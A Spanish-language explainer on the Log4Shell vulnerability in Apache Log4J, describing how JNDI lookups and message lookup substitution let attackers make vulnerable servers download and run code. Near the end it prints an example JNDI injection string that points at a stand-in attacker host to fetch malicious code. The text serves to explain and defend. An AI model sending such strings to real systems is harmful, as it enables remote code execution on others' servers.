Log4Shell afecta a Log4J, una biblioteca de registro de código abierto mantenida por la Apache Software Foundation. Log4J es un registrador, un componente de software que registra información y eventos en un programa, como mensajes de error y entradas de usuario.
Log4J no es un programa independiente, sino un paquete de código que los desarrolladores pueden incorporar a sus aplicaciones Java en lugar de crear registradores desde cero. Grandes organizaciones como Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco y muchas otras utilizan Log4J en sus programas y servicios.
Log4Shell es el resultado de cómo las versiones vulnerables de Log4J manejan dos características relacionadas: búsquedas JNDI (Java Naming and Directory Interface)) y sustituciones de búsqueda de mensajes. Cada función por sí sola sería inofensiva, pero la interacción entre ellas proporciona a los hackers un arma potente.
JNDI es una interfaz de programación de aplicaciones (API) que utilizan las aplicaciones Java para acceder a los recursos alojados en servidores externos. Una búsqueda JNDI es un comando que indica a la aplicación que vaya a un servidor y descargue un objeto específico, como un dato o un script. Las versiones anteriores de Log4J 2 ejecutan automáticamente cualquier código descargado de esta manera.
La sustitución de búsqueda de mensajes permite a los usuarios y aplicaciones enviar variables a Log4J dentro de los mensajes de registro utilizando una sintaxis específica: ${prefix:name}. Cuando Log4J encuentra esta sintaxis, resuelve la variable y guarda el valor en el registro. Por ejemplo, si Log4J recibió un mensaje que decía
${java:version}
averiguaría la versión actual de Java que se está ejecutando en el dispositivo. En el registro, grabaría: "Java version X.XX."
Dicho de otro modo, Log4J no trata las sustituciones de búsqueda de mensajes como texto sin formato. Las trata como comandos y actúa en función de lo que digan. Los hackers pueden aprovecharse de este hecho para enviar comandos de búsqueda JNDI maliciosos a aplicaciones que ejecuten versiones vulnerables de Log4J. Por ejemplo, un hacker podría enviar a Log4J una cadena como esta:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Cuando Log4J recibió este mensaje, resolvió la variable accediendo al servidor de myevilwebsite.biz y descargando el objeto ubicado en /maliciouscode. Este proceso llevaría a Log4J a ejecutar cualquier código Java que el hacker hubiera escondido en esa ubicación, normalmente malware.